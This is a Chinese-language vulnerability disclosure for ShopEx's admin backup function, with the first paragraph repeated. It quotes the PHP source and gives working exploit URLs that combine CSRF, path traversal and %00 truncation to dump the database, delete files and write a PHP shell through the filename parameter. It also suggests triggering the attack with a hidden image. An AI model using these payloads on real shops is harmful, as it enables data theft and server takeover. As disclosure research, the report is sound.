### 简要描述: shopex csrf脱裤 任意文件删除 文件写shell ### 详细说明: 所有的漏洞缘由都是因为一个csrf引起的,那么我们来一个个看看: 安装最新版本的shopex: ctl.backup.php: function backup(){ if(constant('SAAS_MODE')){ exit; } header("Content-type:text/html;charset=utf-8"); $params['sizelimit'] = 1024; $params['filename'] = ($_GET["filename"]=="")?date("YmdHis", time()):$_GET["filename"]; $params['fileid'] = ($_GET["fileid"]=="")?"0":intval($_GET["fileid"]); $params['tableid'] = ($_GET["tableid"]=="")?"0":intval($_GET["tableid"]); $params['startid'] = ($_GET["startid"]=="")?"-1":intval($_GET["startid"]); if ($params['sizelimit']!="") { $oBackup=&$this->system->loadModel('system/backup'); if(!$oBackup->startBackup($params,$nexturl)){ echo __('正在备份第').($params['fileid']+2).__('卷,请勿进行其他页面操作。').'<script>runbackup("'.$nexturl.'")</script>'; } else{ $this->system->setConf('system.last_backup',time(),true); echo "<a href='index.php?ctl=system/sfile&act=getDB&p[0]=multibak_{$params['filename']}.tgz' target='_blank'>备份完毕,请点击本处下载</a>"; } } }...
### 简要描述: shopex csrf脱裤 任意文件删除 文件写shell ### 详细说明: 所有的漏洞缘由都是因为一个csrf引起的,那么我们来一个个看看: 安装最新版本的shopex: ctl.backup.php: function backup(){ if(constant('SAAS_MODE')){ exit; } header("Content-type:text/html;charset=utf-8"); $params['sizelimit'] = 1024; $params['filename'] = ($_GET["filename"]=="")?date("YmdHis", time()):$_GET["filename"]; $params['fileid'] = ($_GET["fileid"]=="")?"0":intval($_GET["fileid"]); $params['tableid'] = ($_GET["tableid"]=="")?"0":intval($_GET["tableid"]); $params['startid'] = ($_GET["startid"]=="")?"-1":intval($_GET["startid"]); if ($params['sizelimit']!="") { $oBackup=&$this->system->loadModel('system/backup'); if(!$oBackup->startBackup($params,$nexturl)){ echo __('正在备份第').($params['fileid']+2).__('卷,请勿进行其他页面操作。').'<script>runbackup("'.$nexturl.'")</script>'; } else{ $this->system->setConf('system.last_backup',time(),true); echo "<a href='index.php?ctl=system/sfile&act=getDB&p[0]=multibak_{$params['filename']}.tgz' target='_blank'>备份完毕,请点击本处下载</a>"; } } } 跟进去startBackup public function startBackup( $params, &$nexturl ) { set_time_limit( 0 ); header( "Content-type:text/html;charset=utf-8" ); $sizelimit = $params['sizelimit']; $filename = $params['filename']; $fileid = $params['fileid']; $tableid = $params['tableid']; $startid = $params['startid']; include_once( CORE_DIR."/lib/mysqldumper.class.php" ); $dumper = new Mysqldumper( DB_HOST, DB_USER, DB_PASSWORD, DB_NAME ); $dumper->setDroptables( true ); $dumper->tableid = $tableid; $dumper->startid = $startid; $backdir = HOME_DIR."/backup"; $finished = $dumper->multiDump( $filename, $fileid, $sizelimit, $backdir ); ++$fileid; if ( !$finished ) { $nexturl = "index.php?ctl=system/backup&act=backup&sizelimit={$sizelimit}&filename={$filename}&fileid={$fileid}&tableid=".$dumper->tableid."&startid=".$dumper->startid; } else { $dir = HOME_DIR."/backup"; $tar =& $this->system->loadModel( "utility/tar" ); chdir( $dir ); $i = 1; for ( ; $i <= $fileid; ++$i ) { $tar->addFile( "multibak_".$filename."_".$i.".sql" ); } $verInfo = $this->system->version( ); $backupdata['app'] = $verInfo['app']; $backupdata['rev'] = $verInfo['rev']; $backupdata['vols'] = $fileid; $xml =& $this->system->loadModel( "utility/xml" ); $xmldata = $xml->array2xml( $backupdata, "backup" ); file_put_contents( "archive.xml", $xmldata ); $tar->addFile( "archive.xml" ); $tar->filename = "multibak_".$filename.".tgz"; $tar->saveTar( ); $i = 1; for ( ; $i <= $fileid; ++$i ) { @unlink( @"multibak_".$filename."_".$i.".sql" ); } @unlink( "archive.xml" ); } return $finished; } 跟进multiDump function multiDump($filename,$fileid,$sizelimit,$backdir,$ignoreList=null) { // Set line feed $ret = true; $lf = "\r\n"; $lencount = 0; $bakfile = $backdir."/multibak_".$filename."_".($fileid+1).".sql"; if($ignoreList){ $ignoreList = array_flip($ignoreList); } $fw = @fopen($bakfile, "wb"); if(!$fw) exit("备份目录{$backdir}不可写"); $resource = mysql_connect($this->getHost(), $this->getDBuser(), $this->getDBpassword(),true); mysql_select_db($this->getDbname(), $resource); if(!constant("DB_OLDVERSION")) mysql_query("SET NAMES '".MYSQL_CHARSET_NAME."'",$resource); $result = mysql_query("SHOW TABLES"); $tables = $this->result2Array(0, $result); $filter_tables = array(DB_PREFIX."op_sessions", DB_PREFIX."operators", DB_PREFIX."admin_roles"); foreach ($tables as $tblval) { if(substr($tblval,0,strlen(DB_PREFIX))==DB_PREFIX && !in_array($tblval, $filter_tables)){ $tablearr[] = $tblval; } } // Set header fwrite($fw, "#". $lf); fwrite($fw, "# SHOPEX SQL MultiVolumn Dump ID:".($fileid+1) . $lf); fwrite($fw, "# Version ". $GLOBALS['SHOPEX_THIS_VERSION']. $lf); fwrite($fw, "# ". $lf); fwrite($fw, "# Host: " . $this->getHost() . $lf); fwrite($fw, "# Server version: ". mysql_get_server_info() . $lf); fwrite($fw, "# PHP Version: " . phpversion() . $lf); fwrite($fw, "# Database : `" . $this->getDBname() . "`" . $lf); fwrite($fw, "#"); // Generate dumptext for the tables. $i=0; for($j=$this->tableid;$j<count($tablearr);$j++){ $tblval = $tablearr[$j]; $table_prefix = constant('DB_PREFIX'); $subname = substr($tblval,strlen($table_prefix)); $written_tbname = '{shopexdump_table_prefix}'.$subname; if($this->startid ==-1) { fwrite($fw, $lf . $lf . "# --------------------------------------------------------" . $lf . $lf); $lencount += strlen($lf . $lf . "# --------------------------------------------------------" . $lf . $lf); fwrite($fw, "#". $lf . "# Table structure for table `$tblval`" . $lf); $lencount += strlen("#". $lf . "# Table structure for table `$tblval`" . $lf); fwrite($fw, "#" . $lf . $lf); $lencount += strlen("#". $lf . "# Table structure for table `$tblval`" . $lf); // Generate DROP TABLE statement when client wants it to. mysql_query("ALTER TABLE `$tblval` comment ''"); if($this->isDroptables()) { fwrite($fw, "DROP TABLE IF EXISTS `$written_tbname`;" . $lf); $lencount += strlen("DROP TABLE IF EXISTS `$written_tbname`;" . $lf); } $result = mysql_query("SHOW CREATE TABLE `$tblval`"); $createtable = $this->result2Array(1, $result); $tmp_value = str_replace("\n", '', $this->formatcreate($createtable[0])); $pos = strpos($tmp_value,$tblval); $tmp_value = substr($tmp_value,0,$pos).$written_tbname.substr($tmp_value,$pos+strlen($tblval)); fwrite($fw, $tmp_value. $lf.$lf); $lencount += strlen($tmp_value. $lf.$lf); $this->startid = 0; } if($lencount>$sizelimit*1000) { $this->tableid = $j; $this->startid = 0; $ret = false; break; } if(isset($ignoreList['sdb_'.$subname])){ $this->startid = -1; continue; } fwrite($fw, "#". $lf . "# Dumping data for table `$tblval`". $lf . "#" . $lf); $lencount += strlen("#". $lf . "# Dumping data for table `$tblval`". $lf . "#" . $lf); $result = mysql_query("SELECT * FROM `$tblval`"); if(!@mysql_data_seek($result,$this->startid)) { $this->startid = -1; continue; } while ($row = mysql_fetch_object($result)) { $insertdump = $lf; $insertdump .= "INSERT INTO `$written_tbname` VALUES ("; $arr = $this->object2Array($row); foreach($arr as $key => $value) { if(!is_null($value)) { $value = $this->utftrim(mysql_escape_string($value)); $insertdump .= "'$value',"; } else $insertdump .= "NULL,"; } $insertline = rtrim($insertdump,',') . ");"; fwrite($fw, $insertline); $lencount += strlen($insertline); $this->startid++; if($lencount>$sizelimit*1000) { $ret = false; $this->tableid = $j; break 2; } } $this->startid = -1; $i++; // if ($i== 5) break; } mysql_close($resource); fclose($fw); chmod($bakfile, 0666); return $ret; } 从整个流程来函,有以下几处问题 1.$finished = $dumper->multiDump( $filename, $fileid, $sizelimit, $backdir ); 直接post过来filename 没有做任何处理,进行了文件存储,当然了这里$filename后面会添加一个tgz的后缀 那么问题就来了,%00未进行过滤 怎么进行目录遍历呢,举例子 如果path:/a/b/c/g.php 那么这样的遍历也是可以的/a/b/c/g.php/../../ 所以我们可以先备份一个文件,然后再目录遍历到任何地方,这样一来就不会报错 2.如果备份失败那么进行@unlink( @"multibak_".$filename."_".$i.".sql" );,这里就有问题了,这里的filename 完全可以控制,而且还可以进行%00截断 3.$tar->addFile( "multibak_".$filename."_".$i.".sql" ); 这个代码会往文件的开头添加这个文件名,那么问题就来了 我们的文件名如果叫<?php phpinfo()?>,是不是文件里面就多了php代码,在加上文件截断,目录遍历,我们可以再任何一个可写目录下生成一个shellcode,这里其实有一个问题要解决,在windows底下文件名是不允许出现<>这样的字符的,所以成立的条件的事该系统存在于linux系统,大多数shopex都是搭建在liunx系统上的,这个忧虑可以排除 开始测试: GET型文件脱裤: 管理员登陆: url: http://localhost/shopex/shopadmin/index.php?ctl=system/backup&act=backup&sizelimit=1024&filename=20141203094227.tgz/../../../../../../../../../aaa.php%00&fileid=1&tableid=99&startid=142 由于我的站点搭建在windows系统下面,所以直接在d:下面建立了一个aaa.php [<img src="https://images.seebug.org/upload/201412/031534389090503d251571ce902ecbb60d8d3734.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/031534389090503d251571ce902ecbb60d8d3734.png) 这是个GET类型的csrf,怎么去触发,很简单,不管你是用图片,还是其他什么的,反正神不知鬼不觉就好 我想说的就是看到这个里面的内容,现在完全和我分析的一毛一样 由于在windows底下所以当你发送: [<img src="https://images.seebug.org/upload/201412/03153501b9176b7fc6c62f0f314444ceae5614e7.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/03153501b9176b7fc6c62f0f314444ceae5614e7.png) 这个是因为这一段代码导致: $fw = @fopen($bakfile, "wb"); if(!$fw) exit("备份目录{$backdir}不可写"); 因为windows底下不支持<> 等等文件,我们把这一段代码移到linux底下看看是否可以穿件文件 [<img src="https://images.seebug.org/upload/201412/03153519ef44763be77ce51417c9708fc21a58aa.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/03153519ef44763be77ce51417c9708fc21a58aa.png) 如果我们在linux底下搭建shope 发送相同url: http://localhost/shopex/shopadmin/index.php?ctl=system/backup&act=backup&sizelimit=1024&filename=20141203094227.tgz/../../../../../../../../../<?php phpinfo()?>.php%00&fileid=1&tableid=99&startid=142 [<img src="https://images.seebug.org/upload/201412/031536027c8e13e3ff138aace1523616d6d3bc4d.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/031536027c8e13e3ff138aace1523616d6d3bc4d.png) ### 漏洞证明: